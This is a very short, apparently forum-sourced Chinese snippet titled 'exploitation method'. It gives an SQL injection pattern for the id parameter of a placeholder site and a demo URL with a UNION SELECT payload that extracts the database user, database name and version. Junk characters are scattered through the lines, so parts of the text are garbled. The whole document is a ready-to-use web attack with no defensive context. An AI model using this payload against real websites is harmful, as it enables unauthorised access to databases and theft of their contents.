利用方法:
; `4 ]* ]; G2 ~' F http://www.xxx.com/index.php?id=[SQL]2 J7 E4 Q3 Y5 r5 e0 X4 r3 A
Demo:! q& @) l4 a& D' ~, K
http://www.xxx.com/index.php?id=-1' UNION SELECT 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8,9,10,11,12,13--+ |